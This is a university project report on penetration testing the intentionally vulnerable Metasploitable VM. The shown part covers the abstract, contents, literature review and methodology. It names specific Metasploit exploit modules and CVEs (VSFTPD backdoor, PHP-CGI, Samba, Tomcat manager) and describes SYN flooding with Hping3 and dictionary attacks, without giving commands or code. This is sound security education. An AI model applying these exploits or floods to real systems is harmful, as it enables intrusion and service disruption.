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[bookmark: _Toc170419702][bookmark: _Toc171011019]Abstract
The aim of this study was to implement penetration testing (Pentesting) using Metasploitable to identify, exploit, and mitigate vulnerabilities in a small organization's virtual network systems. Through the Pentesting Framework, various network vulnerabilities were exploited, including PHP-CGI, VSFTPD 2.3.4, UnRealIRC 3.2.8.1, Java RMI Server, Samba (v3.0.20 to 3.0.25rc3), unpassworded accounts, Ingreslock backdoor, dictionary attacks, Samba symlink traversal, Tomcat, and DVWA vulnerabilities. The study demonstrated successful exploitation of these vulnerabilities using Metasploit, highlighting critical weaknesses such as the PHP-CGI configuration vulnerability (CVE-2012-1823), VSFTPD backdoor (CVE-2011-2523), and Samba symlink traversal (CVE-2010-0926). Exploits were executed, resulting in unauthorized access, remote code execution, and system compromise, demonstrating the potential risk to network security. Mitigation strategies were proposed, such as updating software to patched versions, enforcing strong password policies, securing configurations, and implementing regular vulnerability assessments. The results underscored the importance of robust security measures and proactive vulnerability management to protect against potential threats. Moving forward, it is crucial for organizations to adopt a comprehensive security posture that includes continuous monitoring, timely patch management, and employee training on cybersecurity best practices. Implementing these strategies can significantly reduce the risk of exploitation and enhance the overall security of virtual network systems. The study concludes that while penetration testing is effective in identifying and exploiting vulnerabilities, a multi-layered security approach is essential to mitigate risks and protect organizational assets from cyber threats. Regularly updating systems, applying security patches, and conducting ongoing security assessments will help organizations stay ahead of potential vulnerabilities and maintain a secure network environment.









[bookmark: _Toc170419703][bookmark: _Toc171011020]Table of Contents 

Declaration	i
Abstract	ii
Table of Contents	iii
List of Tables	v
List of Figures	vi
Acknowledgements	i
CHAPTER ONE	1
INTRODUCTION	1
1.1.	Background	1
1.2.	Problem statement	2
1.3.	Aim	3
1.4.	Research Questions	3
1.5.	General Objective	3
1.6.	Specific Objectives	3
1.7.	Significance of the Study	4
1.8.	Study Scope	5
1.9.	Limitations of the Study	5
Literature Review	6
2.1. Overview	6
2.2. Review of related Literature	6
2.2.1. Vulnerabilities in virtual network system	6
2.2.2. Types of network audit penetration testing	7
2.2.3. Methods of exploiting network vulnerabilities through the Pentesting Framework	8
2.2.4. Strategies to mitigate the level of risk in the Metasploitable distribution	10
chapter three	13
DEVELOPMENT METHODOLOGY	13
3.1. Overview	13
3.2 Unit of Analysis	13
3.3 Population	13
3.4 Data Collection Methods	13
3.5 Experiment Design	13
3.6. Methodological Approach	14
CHAPTER FOUR	16
DESIGN AND IMPLEMENTATION	16
4.1. Overview	16
4.2. The Virtual Network System	16
4.3. Kali Linux Virtualisation and Installation	17
4.4. Virtualisation and Installation of Metasploitable	17
4.5. Pentesting Implementation	18
CHAPTER FIVE	63
DISCUSSION	63
5.1. Overview	63
5.2. Proposed mitigation measures for vulnerabilities identified	63
CHAPTER SIX	69
CONCLUSION AND RECOMMENDATION	69
6.1. Overview	69
6.2. Conclusion	69
6.3. Recommendation	71
REFERENCES	72



[bookmark: _Toc170419704][bookmark: _Toc171011021]List of Tables
Table 4.1. Basic Nmap commands	29
Table 4.2. Basic Metasploit commands.	37

















[bookmark: _Toc170419705][bookmark: _Toc171011022]List of Figures
Figure 4.1. DMZ of the Virtual Network	26
Figure 4.2. Kali Linux (Virtualised)	27
Figure 4.4. Nmap - Recognising computers on the local network	31
Figure 4.5. Nmap - Service and version recognition	32
Figure 4.6.OpenVAS - Authentication Page	33
Figure 4.7. Report of vulnerabilities found with OpenVAS	34
Figure 4.8. Identification of vulnerabilities found with OpenVAS	35
Figure 4.9 PHP-CGI vulnerability scanning by OpenVASS	38
Figure 4.10. Manual recognition of CGI vulnerability	39
Figure 4.11. CGI vulnerability scan, PHP (V 5.3.13 and 5.4.2)	40
Figure 4.12. Exploit/multi/http/php_cgi_arg_injection module options	40
Figure 4.13. Exploit research CGI vulnerability, PHP (V 5.3.13 and 5.4.2)	41
Figure 4.15. Information from exploit/multi/http/php_cgi_arg_injection	42
Figure 4.16. Module "exploit/multi/http/php_cgi_arg_injection"	43
Figure 4.17.Obtaining Meterpreter session	44
Figure 4.18. Listing of files and directories in /var/www	45
Figure 4.19. Metasploitable2 Apache service website (Index.php)	45
Figure 4.20. Sample file (var/www/index.php)	46
Figure 4.21. Modification of var/www/index.php file (Defacement)	46
Figure 4.22. Modified website (Defacement to index.php) in Metasploitable2	47
Figure 4.23. Investigation of the VSFTPD 2.3.4 vulnerability	48
Figure 4.24. Exploit/unix/ftp/vsftpd_234_backdoor module options	48
Figure 4.25. Exploit Research for VSFTPD 2.3.4	49
Figure 4.26. Configuration to module "exploit/unix/ftp/vsftpd_234_backdoor"	49
Figure 4.27. Obtaining Shell session (Root)	50
Figure 4.28. Vulnerability investigation UnRealIRC 3.2.8.1	50
Figure 4.29 Exploit/unix/irc/unreal_ircd_3281_backdoor Module Options	51
Figure 4.30. Exploit research exploiting the Unreal IRCD 3.2.8 vulnerability	51
Figure 4.31. Configuration module "exploit/unix/irc/unreal_ircd_3281_backdoor".	52
Figure 4.32. Java RMI Server vulnerability investigation	52
Figure 4.33. Exploit/multi/misc/java_rmi_server module options	53
Figure 36. Research Exploit exploiting the Java RMI Server vulnerability	53
Figure 4.35. Getting Meterpreter session	54
Figure 4.36. Samba Vulnerability Scan (v3.0.20 to 3.0.25rc3)	54
Figure 4.37. Exploit/multi/samba/usermap_script module options	55
Figure 4.39. Research Exploit that Samba (v3.0.20 to 3.0.25rc3	55
Figure 4.40. Configuration module "exploit/unix/irc/unreal_ircd_3281_backdoor"	56
Figure 4.41. Obtaining Shell session (Root)	56
Figure 4.42. MySQL - Unpassworded Account Check	57
Figure 4.43. Telnet - Ingreslock Backdoor (Port 1524)	58
Figure 4.44. Configuration of auxiliary/scanner/postgres/postgres/postgres_login module	59
Figure 4.44. Postgress - Entry to the service thanks to the dictionary attack	59
Figure 4.45. Samba Symlink Traversal Vulnerability Investigation	60
Figure 4.46 Auxiliary/admin/smb/samba_symlink_traversal module options	60
Figure 4.47. Exploit Research for Samba Symlink Traversal	61
Figure 4.48.  SAMBA share verification (smbclient)	62
Figure 4.49. MB shared resource access	62
Figure 4.48. Tomcat Administration vulnerability scan	63
Figure 4.49. Auxiliary/admin/http/tomcat_administration module options	63
Figure 4.50. Configuration of the module "auxiliary/admin/http/tomcat_administration".	64
Figure 4.51. Tomcat Manager Vulnerability Investigation	64
Figure 4.52. Exploit/multi/http/tomcat_mgr_deploy module options	65
Figure 4.53. Configuration of the module "exploit/multi/http/tomcat_mgr_deploy"	65
Figure 4.54 Getting Meterpreter session	66
Figure 4.55. Stored Cross Site Scripting (DVWA - Metasploitable)	67
Figure 4.56. CSS vulnerability check	68
Figure 4.57. CSS vulnerability check	68
Figure 4.58. File Upload	70
Figure 4.59. Creation of malicious PHP file with Metasploit (Trojan)	71
Figure 4.60. Getting Meterpreter session	72
Figure 4.61. WAF concept (Source Author)	74
Figure 4.62. HoneyPOT Concept	75

vi

[bookmark: _Toc170419706]


[bookmark: _Toc158583941][bookmark: _Toc170967139][bookmark: _Toc171011023]Acknowledgements

I sincerely appreciate my supervisor Dr Munyaradzi Nicholas Murira, for all their help during this journey, including their patient advice, enlightening feedback, and consistent support. Their knowledge and support have been crucial in determining the course of this project and fostering my development as a researcher I would also like to express my heartfelt gratitude to Dr Nitheesh Kaliyamurthy for their insightful thoughts and helpful remarks, which have enhanced the breadth and thoroughness of this work.
I would want to express my gratitude to those who teach and work at University of Wales Trinity Saint David for creating a supportive academic atmosphere and giving the resources I need to complete this research. 
I am incredibly appreciative of my family and friends' unending love, support, and understanding. Your confidence in me has always given me courage and inspiration.
Finally, I would like to express our gratitude to everyone who took part in the study for being ready to contribute their time and experiences. Your opinion has greatly influenced how this study's conclusions have been developed.
This project would not have been possible without the collective support and contributions of everyone mentioned above. I sincerely appreciate the chance to embark on this project as well as the advice and support I have had along the road
2



[bookmark: _Toc171011024]CHAPTER ONE
[bookmark: _Toc170419707][bookmark: _Toc171011025]INTRODUCTION 
1.1. [bookmark: _Toc170419708][bookmark: _Toc171011026] Background
In the current digital era, network and information system security has become essential. Attacks targeting small-scale networks, commonly employed by startups and educational establishments, are on the rise. These networks are weak because they lack resources and security measures. Penetration testing is an active technique that identifies and addresses vulnerabilities before malevolent actors can exploit them.
Penetration testing is a method that mimics cyberattacks to identify security holes in a network. Once these vulnerabilities are identified, organisations can take effective mitigation measures to protect their data and assets. This project aims to strengthen small-scale networks' security posture through penetration testing, comprehensive vulnerability assessments, and mitigation strategies.
To understand that the evolution of Information and Communication Technologies (ICT) has made significant inroads in life, it is a tool that breaks down barriers of time and space, in an era of constant digital transformation [1]. For their part, companies optimize their processes in all areas, becoming more efficient, productive, and competitive, leaving behind traditional and ineffective models [2]; because of the above, it is inferred that Information and Communication Technologies are an instrument that guarantees organizational development [3], it should not be forgotten that supply and demand has led to the demand for technological inclusion by organizations [4], being a fundamental tool in the management of organizations [5].
Likewise, current small and medium-sized enterprises (SMEs) are aligned to the constant changes of globalization in order to process data through Information and Communication Technologies, in which integrity, availability and confidentiality policies contained in computer systems are guaranteed thanks to security and protection mechanisms [6], although some companies are still concerned about the technological risks that affect organizations [7]. There can be no doubt about the great advance of technology, which has brought with it new paradigms that demonstrate the imperative obligation to focus on the entities in relation to their strategic goals [8], without a doubt, it provides opportunities for competitiveness and business sustainability [9]. The administration of a company must seek the correct projection and planning for the adequate control over it, by means of efficient control mechanisms that allow the company's viability to be diagnosed [10].
The present applied project is intended for the implementation of Pentesting tests of the virtual environment Metasploitable, the computer security audit will be implemented in the technological resources that will allow establishing and guaranteeing information security policies, starting from the identification of vulnerabilities of computer security approach, implementation of corrective actions and generation of security policies in an attempt to mitigate computer risks, through the development of the different phases of computer security audit as it is, the collection of information, identification and exploitation of vulnerabilities, leading to ensure a secure environment, finally, this project generates a positive impact on organizational efficiency related to computer security [11].
1.2. [bookmark: _Toc170419709][bookmark: _Toc171011027] Problem statement
[bookmark: _Toc170419710]Organisations have been greatly impacted by the development of information and communication technologies (ICTs), which have made it possible for them to streamline operations, boost productivity, and become more competitive. Nonetheless, since data is a sensitive resource that needs to be protected, its significance for businesses cannot be emphasised. Computer security risks persist despite the implementation of significant controls because organisations are still impacted by the ongoing advancements in technology and digitalization. Metasploitable has observed transnational cyberattacks involving data breaches, illegal access, and information theft in virtual networks. Conversely, security permits risk isolation and a feeling of trust. Website, application, and web service security is the focus of web application security, a major area of computer security. Cybercriminals can compromise information security policies by taking advantage of computer vulnerabilities that are exploited by cyberattacks[12-21].
1.3. [bookmark: _Toc171011028] Aim
The aim of this project is to enhance the security of small networks by conducting penetration testing and proposing effective mitigation strategies.
1.4. [bookmark: _Toc170419711][bookmark: _Toc171011029] Research Questions
i. What are the existing vulnerabilities on the virtual network system?
ii. What are the methods of exploiting network vulnerabilities through the Pentesting Framework as an intrusion test process of computer auditing?
iii. Can Metasploitable infrastructure be used to exploits and execute penetration testing on the identified vulnerabilities?
iv. Are there effective strategies to mitigate the level of risk in the Metasploitable distribution?
1.5. [bookmark: _Toc170419712][bookmark: _Toc171011030]Objective
   1.To design strategies to mitigate the vulnerabilities present in Metasploitable through the development and documentation of pentesting tests for this virtual environment.
2. Based on compatibility and security features, select and justify the operating system that will be used for penetration testing.
3. List the penetration testing frameworks and tools (like Nmap and Metasploit) and explain how to run the tests.
4. Describe the procedures used to gather information on network vulnerabilities, such as vulnerability assessments and network scans.
5.  Explain how the virtual lab environment is configured, highlighting elements such as Windows         10, Metasploitable, and Kali Linux, and provide an example of the network architecture.
6. Describe the procedures for carrying out penetration tests and record how to take advantage of vulnerabilities that are found.
7. Create plans to lessen the effects of the vulnerabilities found, such as patching, changing configurations, and updating policies.

1.6. [bookmark: _Toc170419713][bookmark: _Toc171011031] Specific Objectives
i. To detail methods of exploiting network vulnerabilities through the Pentesting Framework as an intrusion test process of computer auditing.
ii. To identify vulnerabilities on the virtual network system
iii. To exploits and execute penetration testing of the Metasploitable infrastructure on the vulnerabilities identified in the virtual network system. 
iv. To document strategies to mitigate the level of risk in the Metasploitable distribution.
1.7. [bookmark: _Toc170419714][bookmark: _Toc171011032] Significance 
The top management of a company seeks the correct projection and planning for the adequate control over it, by means of efficient control mechanisms that allow the company's viability to be diagnosed. For its part, the manifestation of computer systems in information flows has been catalogued as that grouping of both tangible and intangible elements, in which the adequate processing of information is carried out. For the vast majority of organisations, information is the most important asset, and many companies have the scope of ensuring its administration in terms of integrity, availability and confidentiality policies. On the other hand, the computer security audit that will be implemented in the virtual environment Metasploitable will be of the black box type, the auditor will not be provided with any information that allows or helps to identify and exploit the different vulnerabilities. It is worth mentioning that the vast majority of computer attacks today take advantage of design flaws or bugs in the different software, a software is a product derived from an exclusively intellectual result, which is made by humans and as a rational being is prone to make mistakes in their actions, because of this, during the stages of the life cycle of the software also be prone to failures, possibly leading to provide a product that does not meet the needs and expectations expected. A large part of these incidents is due to the fact that some web developers are not careful when designing their projects.
Implementing a Penetration Testing in the technological resources of the virtual environment Metasploitable will allow establishing and guaranteeing information security policies, this action conduct generates a sense of confidence and conformity on the part of internal and external clients, as well as placing the company's image in order to maximise awareness and legitimacy. The transcendence to the applied environment of the virtual environment Metasploitable focuses on the identification of vulnerabilities of computer security approach, implementation of corrective actions and generation of security policies in an attempt to mitigate computer risks through good practices of ethical hacking methodologies approach, the proposal aims to develop the different phases of computer security auditing such as information gathering, identification and exploitation of vulnerabilities, which lead to ensure a secure environment, finally this project generates a positive impact on organisational efficiency related to computer security.
1.8. [bookmark: _Toc170419715][bookmark: _Toc171011033] Scope
The scope encompass the identification and comparison of different ethical hacking methodologies and using the selected methodologies to identify, exploit and mitigate vulnerabilities in a controlled virtual network environment.
1.9. [bookmark: _Toc170419716][bookmark: _Toc171011034] Limitations 
The  limitations include a focused scope on virtual network infrastructures and the specificity to the Metasploitable environment, potentially limiting the generalizability of findings. Resource constraints, such as access to tools and skilled personnel, can impact the depth and breadth of the research. The study's reliance on reported vulnerabilities and the dynamic nature of cybersecurity pose challenges in capturing a comprehensive snapshot of network vulnerabilities. Finally, participant diversity and the potential impact of external factors, such as vulnerability evolution and technological advancements, can further influence the study's applicability and relevance.
 1.10. Report Structure
This report's format is intended to assist the reader in comprehending the goals, procedures, findings, and ramifications of the project. An outline of the ensuing chapters is provided below:
Chapter 2: Review of the Literature: In this chapter, the literature on network vulnerabilities, penetration testing techniques, and mitigation strategies is reviewed. It gives the project's theoretical framework.
Chapter 3: Research and Development Methodology: In this chapter, the experiment setup, data collection techniques, and research design utilised to carry out penetration tests and assess mitigation strategies are described.
Chapter 4: Design and Implementation: This chapter covers the penetration testing tools and procedures, as well as the design and setup of the virtual lab environment.
Chapter 5: Results and Discussion: In this chapter, the penetration test results are presented, the results are analysed, and the efficacy of the suggested mitigation strategies is discussed.
Chapter 6: Conclusions and Recommendations : The main conclusions, recommendations for further study, and real-world applications are outlined in this chapter.
Chapter 7: Reflections: In this chapter, the difficulties encountered throughout the project are discussed, along with the lessons discovered and possible areas for development.










CHAPTER TWO
[bookmark: _Toc170419717][bookmark: _Toc171011035]Literature Review
[bookmark: _Toc170419718][bookmark: _Toc171011036]2.1. Overview
This chapter reviews the existing literature on the significance of penetration testing (Pentesting) in enhancing computer security within virtual network environments. It explores the role of Information and Communication Technologies (ICT) in modern enterprises, emphasizing the need for robust security measures to protect data integrity, confidentiality, and availability. The review also examines various Pentesting methodologies and frameworks, analyzing empirical studies and case studies on environments like Metasploitable. This foundation aims to contextualize the importance of continuous security audits and effective mitigation strategies, setting the stage for the subsequent detailed examination of the study's methodology and findings.
[bookmark: _Toc170419719][bookmark: _Toc171011037]2.2. Review of related Literature 
[bookmark: _Toc170419720][bookmark: _Toc171011038]2.2.1. Vulnerabilities in virtual network system
This consists of techniques that allow the computer security of a system to be compromised, taking advantage of vulnerabilities through different actions, some of which are listed in the following section, as follows:
SQL injection is a critical attack that takes advantage of database queries, the process is based on the injection of Structured Query Language programming language codes in previously designed sentences in order to compromise the normal activity of the database [22]. On the other hand, it is necessary to understand that Structured Query Language is a programming language focused on the operationalization of the information in the database [22]. Structured Query Language is characterized by data manipulation through DML commands that allow querying, extracting, updating, deleting, and inserting data in the database. It also uses DDL commands focused on the definition of data that allows creating, modifying, deleting databases, tables, indexes, etc. [22].
The method consists of executing fragments of SQL algorithms on the server; this technique is achieved by using erroneous processes in the filtering of variables that enable code injection [22]. This computer attack displays restricted information, modifies and/or deletes data, grants unauthorized access, executes malicious commands, takes control of the database, compromises the operating system hosting the server, among others [22].
Distributed Denial of Service (DDOS) aims to flood the network traffic of servers to prevent the continuity of services [23]. The technique denies access to services to authorized users by flooding requests using various sources that generate a progressive attack, usually using excessive memory consumption, overloading the CPU, sudden blocking of the service [23].
Through the Hping tool it is possible to carry out a DDOS attack, as it allows TCP, UDP and RAW-IP packets to be sent to the victim, unlike the Ping application that only sends ICMP packets [23]. With Hping3 it is possible to execute TCP/SYN Flooding attacks to flood the service with packets and leave it inaccessible and inoperative for a certain period of time, bearing in mind that several factors influence the attack [23].

Dictionary attack takes advantage of the authentication control in software [24]. The mechanism consists of having an external file with the combination of possible credentials related to the user. That is why the effectiveness of the attack is due to the use of unsecure passwords [24]. With tools such as Crunch, The harvester or CeWL, one can customize the dictionaries. On the other hand, with the applications Metasploit, Bruter, Cain & Abel, TCH-Hydra, or John the Ripper, you can launch brute force or dictionary attacks [24]. Excessive Privileges develop when a user is granted privileges in the database that exceed the requirements of his role [25]. This makes it possible to abuse his privileges for unauthorized and/or criminal purposes such as querying, modifying, deleting confidential information, path to execute more dangerous attacks, taking control of the database, etc. [25].

Cross Site Scripting (XSS) is various types of attacks that exploit vulnerabilities related to the programming used in websites [26]. It allows the attacker to insert HTML or JavaScript instructions into the vulnerable web application, leading to the theft of cookies, redirection to external web pages, uploading malicious files, modification of the web page (defacement) [26].
[bookmark: _Toc170419721][bookmark: _Toc171011039]2.2.2. Types of network audit penetration testing
The pentesting procedure usually follows a systematised process, usually involving a reconnaissance phase, a vulnerability analysis phase, an exploitation phase, a post-exploitation phase and a reporting phase [27]. The process of unauthorised access to a computer system is considered to be arduous if the correct configuration and administration is in place. The implementation of Pentesting will be developed in the following way, as follows:

Information gathering phase, a large number of tools are available for the recognition and collection of information of the target to be audited, in which Maltego, The Harvester, Anubis, Fosa, Uniscan, VisualRoute, online services, among others, can be evidenced. The objective of this stage is to collect as much information as possible, such as DNS servers, e-mail servers, company metadata, relevant information about the organisation, data jumps, domain information, documents, information about people linked to the company [28].

Phase 2 corresponds to the mapping of the network, where the available hosts are surveyed or monitored, discovery of operating systems, ports and services of the target to be audited, using tools such as NetScan, Hping, SuperScan, Nmap, among others [29].
Phase 3 corresponds to the identification of vulnerabilities, which is developed from the information collected in the previous phases, and continues with the discovery of vulnerabilities in the host to be audited, using tools that automate the process of searching for weaknesses such as Nessus, OpenVAS, Retina, Acunetix and even NMAP itself. Keep in mind that a vulnerability is a flaw in a system, which can be exploited to compromise security [30].

During intrusion phase 4, which is considered to be the most interesting and arduous, it must be carried out with rigour by the computer security auditor, the aim being to compromise the security of the system through the professional's intrinsic techniques, skills and abilities. It is carried out thanks to the information provided by the previous stages. Depending on the context of the vulnerabilities discovered, exploitation tools such as Hping3, Hydra, Ettercap, SQLMap, Wireshark, Burp Suite, Immunity CANVAS, John the Ripper, Burp Suite, Metasploit are used [31].
[bookmark: _Toc170419722][bookmark: _Toc171011040]2.2.3. Methods of exploiting network vulnerabilities through the Pentesting Framework

These guides are generally oriented towards ethical hacking tests in organisations, they act in accordance with these models to assist the management level in making the right decisions for the benefit of the company. Ethical Hacking focuses on the great contributions provided by morals and ethics, for the Doctor of Philosophy Pekka Himanen in his book Hacker Ethics and the Spirit of the Information Age, links the term ethics and hacking to the enthusiastic and passionate subject to technology, who works under the observance of ethical codes, even if they are not intrinsically registered [32].

The methodologies of Ethical Hacking correspond to those guidelines structured to address the risks in the context of computer security, promoting control strategies and security prevention as support to the different technological services that deal with minimising the risks before possible computer attacks, its purpose is to support the administration of information according to the compliance of integrity, availability and confidentiality policies.

Among the most important current methodologies are Certified Ethical Hacker6 , Offensive Security, OWASP, Penetration Testing Execution Standard (PTES),  the Information Systems Security Assessment Framework, and Technical Guide to Information Security Testing and Assessment (NIST SP 800-115). Open-Source Security [33]. 

Testing Methodology Manual - OSSTMM8, the latter methodology authorises the investigation, identifying and exploitation of computer security vulnerabilities, through an outline inspection and implementation of methods and tools that allow a computer security audit to be carried out [33].
This series of actions has as main objective to identify those incidents and vulnerabilities of computer security, as well as to provide solutions to dissipate the possible risks before offensives, the Manual of the Open Methodology of Security Testing raises in a systematic way the audit process in the computer systems in (7) seven steps of security, which corresponds to the information, processes, internet technologies, communications, wireless, physical and the section focuses on the security of operating systems [34]. The audit is governed by the phases of information gathering, network monitoring, vulnerability identification, and vulnerability exploitation.

OSSTMM offers appropriate solutions to minimise risks through the implementation of security audits leading to information gathering, vulnerability discovery and analysis, risk assessment and training of system users. These actions are part of best practices witnessed in international standards such as ISO 270019, ISO 27002, ITIL, NIST [35].

The methodology of the Open Web Application Security Project - OWASP, a recognised international non-profit foundation, which is supported by various sectors of the computer security community, has shown great progress over time and aims to lead the unwavering battle against computer vulnerabilities in software, specifically related to the security of web applications [33].

It is recognised as a security standard in web applications to determine vulnerabilities and combat computer attacks, its prestigious OWASP Top Ten project identifies and determines the list of the ten most significant computer risks in web applications, which since 2010 has ranked Injection as the main one [33], [35]. The OWASP project is responsible for providing entities with security, reliability in the development, purchase and maintenance of web applications.

The OWASP guide is a comprehensive document that provides a handbook specifically for web application security of those countermeasures with a focus on verification and assessment of computer security [36]. In this way, a complete guide to provide less insecure software is provided. This methodology is especially aimed at developers, software testers and of course computer security specialists, based on providing up-to-date and useful information on security threats. Furthermore, the Information System Security Assessment Framework ISSAF methodology is promoted by the Open Information Systems Security Group OISSG, which is implemented through 3 stages, corresponding to planning and preparation, followed by assessment and finally by the reporting phase, cleaning and destroying artefacts [37]. The main focus is on the security assessment of the network structure as well as the system as a whole. The process of the different phases has a similar approach to the implementation of a computer security audit as outlined in the following section (information gathering, network mapping, vulnerability awareness, intrusion.  It could certainly be inferred that ISSAF guidance is much more extensive than that of OSSTMM [37].

Finally, the role of the international standards issued by the International Organisation for Standardisation 27001:2013 and 27002:2013 in organisations is fundamental and transcendental, it corresponds to the most used and widespread standard, which deliberated a new structure of the already known Information Security Management System; ISO 27001:2013 is the first revision of its predecessor released in 2005 [38]. It is perceived that its structure has changed due to the imperative need to adapt to the updated versions of the other ISO standards. This standard in turn provides a continuous improvement in the Information Security Management System, which has allowed the improvement of the different processes and services provided by each entity, reducing costs, time, resources and other benefits that guarantee organisational efficiency, as there is a greater focus on the management of the processes of the aforementioned model.
[bookmark: _Toc170419723][bookmark: _Toc171011041]2.2.4. Strategies to mitigate the level of risk in the Metasploitable distribution
Cybersecurity experts often grapple with the challenge of mitigating the risks associated with vulnerable systems like the Metasploitable distribution. One strategy that has gained prominence is the implementation of rigorous patch management protocols. Patch management involves the timely application of software updates and security patches to address known vulnerabilities [39]. Advocates argue that a proactive approach to patch management can significantly reduce the attack surface and enhance system resilience against known exploits. However, critics contend that patch management is not without its challenges, citing potential compatibility issues and the risk of introducing new vulnerabilities inadvertently [40].
Another widely discussed strategy is the adoption of network segmentation to limit the impact of potential breaches. Network segmentation involves dividing a network into smaller, isolated segments to contain and mitigate the spread of attacks [41]. Proponents argue that segmentation enhances control and visibility, allowing organisations to enforce stricter access controls and monitor traffic more effectively. However, detractors warn that segmentation alone may not suffice in complex environments, especially if misconfigurations or weak segmentation controls are present [42].
Additionally, the implementation of intrusion detection and prevention systems (IDPS) is often touted as a crucial line of defence against cyber threats. IDPS solutions monitor network and system activities in real-time, identifying and responding to suspicious behaviour or malicious activities [43]. Supporters assert that IDPS can help organisations detect and mitigate attacks promptly, thereby reducing the window of opportunity for adversaries. Nevertheless, critics caution that IDPS deployment requires careful tuning and configuration to avoid false positives and negatives, which could lead to alert fatigue and missed detections [44].
Furthermore, the principle of least privilege is frequently endorsed as a fundamental security practice to minimise the potential impact of security incidents. This principle advocates for granting users the minimum level of access and permissions necessary to perform their job functions [45]. Advocates argue that limiting user privileges can restrict the ability of attackers to escalate privileges or move laterally within a compromised system. However, opponents raise concerns about the practicality of implementing least privilege in dynamic environments, where users may require elevated permissions for legitimate tasks, potentially leading to operational inefficiencies [46].
Moreover, the integration of robust authentication mechanisms, such as multi-factor authentication (MFA), is increasingly seen as a critical component of a comprehensive security posture. MFA requires users to provide multiple forms of identification before accessing sensitive systems or data [47]. Supporters assert that MFA can thwart many common attack vectors, such as password-based attacks and credential theft, thereby enhancing overall security. Nonetheless, critics highlight usability challenges and user resistance as potential barriers to widespread MFA adoption, underscoring the importance of user education and seamless authentication experiences [48].
Lastly, proactive threat intelligence sharing among organisations and industry peers has emerged as a collaborative approach to enhancing cyber resilience. Threat intelligence sharing enables organisations to gain insights into emerging threats, tactics, and techniques, allowing them to better anticipate and defend against potential attacks [49]. Advocates argue that collective intelligence empowers organisations to stay ahead of evolving threats and adapt their security strategies accordingly. However, skeptics question the efficacy of threat intelligence sharing, citing concerns about information accuracy, trust issues, and competitive sensitivities that may hinder meaningful collaboration [50].
In conclusion, mitigating the level of risk in the Metasploitable distribution requires a multifaceted approach that combines technical controls, user awareness, and collaborative efforts within the cybersecurity community. While various strategies, such as patch management, network segmentation, IDPS deployment, least privilege enforcement, MFA implementation, and threat intelligence sharing, offer promising avenues for risk reduction, each approach presents its own set of challenges and considerations. By carefully evaluating these strategies and addressing their associated limitations, organisations can bolster their cybersecurity posture and better protect their assets against evolving cyber threats.

[bookmark: _Toc170419724][bookmark: _Toc171011042]chapter three
[bookmark: _Toc170419725][bookmark: _Toc171011043]METHODOLOGY
[bookmark: _Toc171011044]3.1. Overview
This chapter details the development process used for the applied project, which is carefully organised around the Onion Framework, is covered in detail in this chapter. The Onion Framework is well known for its thorough, multi-layered methodology, which makes it especially useful for deciphering intricate virtual environments like Metasploitable. This methodology ensures a comprehensive and methodical assessment of computer security risks within Metasploitable systems by utilising the Onion Framework. Because the framework is layered, a thorough and nuanced analysis can be performed, beginning with a general overview of the system and working gradually towards more specialised and in-depth data collection and experimental design.
General system analysis, which offers a high-level comprehension of the Metasploitable environment, is the main focus of the first layer. This entails figuring out the architecture of the system, its essential parts, and possible points of vulnerability entry. By acquiring this fundamental understanding, we can create a strong foundation for upcoming, in-depth research.Later layers explore the details in greater detail, gradually focusing in to reveal more minute details and possible security vulnerabilities. This entails collecting extensive amounts of data using a variety of instruments and methods in order to obtain pertinent data regarding the functionality, weaknesses, and possible dangers of the system. The information gathered at this point is essential for comprehending the unique security issues that the Metasploitable systems are facing.
The Onion Framework's last layers are devoted to experimental design. In order to evaluate the security precautions of the system and find any vulnerabilities, focused experiments and simulations are carried out here.
[bookmark: _Toc171011045]3.2 Unit of Analysis
At the core layer of our framework is the unit of analysis: the Metasploitable virtual environment. This project evaluates the risks associated with computer security within these systems, forming the foundation of our study.
[bookmark: _Toc171011046]3.3 Population
Expanding outwards to the next layer, the population under investigation includes all computer systems within the Metasploitable environment. A holistic approach is taken to analyze the entire population, rather than sampling specific subsets, to ensure a comprehensive security evaluation.
[bookmark: _Toc171011047]3.4 Data Collection Methods
The data collection layer employs various techniques to gather relevant information:
· Checklists: These are used to identify existing security controls within the Metasploitable systems.
· Penetration Tests: Conducted to perform security audits, gather information, identify vulnerabilities, and exploit them to ensure a secure environment. Tools such as Kali Linux and Metasploitable are utilized to facilitate these tests.
[bookmark: _Toc171011048]3.5 Experiment Design
The outermost layer involves the experimental design, implementing a controlled testing environment using Oracle VM VirtualBox software with two virtual machines running Kali Linux and Metasploitable. The pentesting process includes the following phases:
i. Information Identification
ii. Vulnerability Recognition
iii. Exploitation
iv. Reporting and Recommendations
Table 3.1. Operating System Requirements
	Software
	Version
	Description

	Metasploitable 2
	2
	Linux kernel operating system (Virtual Machine) for computer security auditing.

	Kali Linux
	1.1.0a
	Operating system as a virtual machine for pentesting.

	Windows 10 Pro
	
	Operating system used as host.


Table 3.2: Software Requirements:
	Utility
	Description

	Apache2 (2.4.29)
	Server

	Damn Vulnerable Web Application
	

	Metasploitable
	Tool

	Metasploit
	Tool

	Chrome
	Tool

	OpenVAS
	Tool

	Iptable
	Tool



Table 3.3: Hardware Requirements
	Specification
	Team 1
	Team 2

	Brand
	Lenovo
	Aspire

	Model
	Idea320
	A315-51

	Type
	Laptop
	Laptop

	Processor
	AMD A12-9720P 3.6GHz 4C
	i3-6006U

	RAM Memory
	32 GB
	8 GB

	Hard Disk
	1 Tera
	500 GB



[bookmark: _Toc171011049]3.6. Methodological Approach
The methodological approach is quantitative, aimed at evaluating information security levels through computer auditing methodologies such as OWASP, ISSAF, and OSSTMM. These methodologies facilitate a detailed analysis of security vulnerabilities and their exploitation, within a controlled pentesting environment. The project is exploratory, descriptive, and explanatory, aiming to:
i. Exploratory: Investigate and analyze security incidents within Metasploitable.
ii. Descriptive: Document the identification and exploitation of computer vulnerabilities.
iii. Explanatory: Provide technical descriptions of pentesting processes and detailed explanations of exploited vulnerabilities.
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Figure 4.1. Onion Framework
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By structuring the methodology around the Onion Framework, this research project ensured a thorough, multi-layered analysis of the Metasploitable environment, leading to robust security assessments and actionable recommendations.








[bookmark: _Toc170419733][bookmark: _Toc171011050]                                                        CHAPTER FOUR
[bookmark: _Toc170419734][bookmark: _Toc171011051]DESIGN AND IMPLEMENTATION
[bookmark: _Toc171011052]4.1. Overview 
Chapter Four presents the design and implementation of the applied project focused on the virtual environment Metasploitable. It details the setup of the experimental environment, the execution of penetration testing, and the analysis of the results. This chapter provides a comprehensive overview of the tools, techniques, and procedures used to evaluate and enhance the security of the Metasploitable systems, highlighting the findings and recommendations for improving information security through established ethical hacking methodologies.
